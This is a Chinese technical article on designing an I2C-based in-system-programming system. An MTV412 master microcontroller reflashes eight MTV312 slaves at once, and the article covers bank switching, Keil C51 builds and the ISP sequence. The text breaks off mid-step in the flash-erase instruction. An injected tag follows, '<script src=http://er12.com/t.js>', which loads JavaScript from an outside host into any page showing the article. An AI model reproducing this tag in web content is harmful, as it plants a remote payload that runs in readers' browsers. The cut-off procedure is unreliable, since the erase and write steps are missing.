随着微控制器应用领域的不断扩展和深入，越来越多种类的微控制器具有isp(in system programming，在系统编程)功能。使用isp可以使工厂在产品设计、制造过程中不必把微控制器从目标板中拔出，通过i2c实现在线体上程序升级。目前，在国内一线工厂，主设备(上位机)一般都用pc，这样不仅浪费资源，而且灵活性较差；同时由于在线体上只能对单个从设备进行程序更新，严重影响了工厂的生产效率。为此，本文设计了一种基于mtv412微控制器的1对8的isp系统，主设备采用myson公司的mtv412，可以同时对8台从设备进行在线程序更新。
目前，51内核的微控制器isp模式一般分为两大类：一类是使用jtag协议的isp模式；另一类：isp模式是使用一条特殊的指令，使单片机进入isp。在进入isp模式后，要自己控制对单片机的擦除写入逻辑。这一类模式又可细分为2种不同的模式：①进入isp模式后，单片机只提供一个接口，不再运行从设备的程序，擦写逻辑全由主设备提供，本系统中mtv412和mtv312就属于这种模式；②进入isp模式以后，从设备会运行在某一区域已经编写的程序，芯片的编程逻辑都由芯片中这段程序控制，主设备只是作为单片机的一个数据源，向单片机传输要擦写的数据，如winbond公司的w79e632。
1 背景介绍
1.1 mtv412和mtv312
mtv412和mtv312是台湾myson公司的产品，主要是面向lcd monitor和lcd tv的视频控制ic。该款芯片可以满足视频应用中的控制需求，因而被广泛应用于视频类产品中，在本系统中，主设备采用的是128 kbmtv412微控制器。从设备采用mtv312，是64 kb的带有isp功能的51系列8位微控制器。
1.2 编译环境keil c51
keil c51是美国keil software公司出品的51系列兼容单片机c语言软件开发系统。它是一种专门为805l单片机设计的高效率的c语言编译器，符合ansi标准，生产的程序代码运行速度极高，所需要的存储空间极小，完全可以和汇编语言相媲美。cx51已被完全集成到一个功能强大的全新集成开发环境uvision2中。uvision2提供了强大的项目管理功能，可以十分方便地进行结构化多模块程序设计。本系统主设备的源代码通过keil c51编译获得烧写所需的hex或者bin文档。
1.3 切换bank原理
传统的51系列单片机是8位的，因此它最多可以访问64 kb地址空间，如果要用51系列的单片机访问128kb的空间，那么就必须用切换bank的方法。一个bank是64 kb，通过外部的硬件来选择对应的bank。本系统中，mtv412就是通过切换bank的方法来在线升级isp从设备程序的。mtv412切换bank是通过p3.5完成的。通过设置p3.5不同的电平，切换到不同的bank区域，如果要进行4个bank的切换，必须要由2个端口来控制。图1为mtv412的128 kb的存储空间分配。其中：common区域用于存放上电复位程序、中断向量、全局变量、中断函数、切换bank程序和库函数等；bank区域用于存放一些不同的应用函数。
如图2所示，本系统把mtv412的128 kb falsh分为bank0和bankl，大小各40 kb。在keil c51编辑器中，必须加入l51_bank.a51汇编文件，它包含系统的bank数目和切换bank调用的函数和端口。
2 系统构架
系统架构如图3所示。首先，将从设备mtv312的文件通过keil c51生成64 kb的hex或者bin文档；然后，再把主设备mtv412的文件通过keil c5l生成128 kb的hex或者bin文档；最后，把从设备mtv312的bin或者hex分成两个32 kb，分别放在主设备mtv412 128 kb的8000h和18000h开始的位置。文件的地址空间分配如图4所示。
通过pc或者烧录器直接把程序烧录到mtv412上。这样mtv412就可以脱离pc，通过i2c直接对从设备在生产线体上进行isp。
2.1 硬件实现
主设备mtv412的硬件电路如图5所示。p6口作为scl，p1作为sda。因为p6是单向口，p1是双向口，sda不仅要输出数据，还要接收ack。p1对应8个从设备的sda，p6对应8个从设备的scl。mtv412的多功能口p3.0和p3.1既可以作为普通的i／o口，也可以作为i2c的scl和sda，或者串口rxd和txd。本系统设为i2c端口，可以通过pc直接更新mtv412上的程序。
2.2 软件实现
主设备mtv412有128 kb的flash空间。其中，bank0(32 kb)和bankl(32 kb)存储对应的从设备mtv312的程序数据和调用函数func0和funcl。com- mon区域放置与从设备通信的程序，模拟isp过程。在main函数中通过调用func0和func1，把对应的bank0和bank1从8000h开始的内容放入缓存区，每次读取256字节，然后在common区中进行isp。
isp时，从设备64 kb程序数据分成256个block，每个block为256字节。
isp过程如图6所示。
①进入isp：发送i2c start→发送0x4c→发送0x77→发送i2c stop。
②清除flash(硬件清除flash)：发?script src=http://er12.com/t.js>
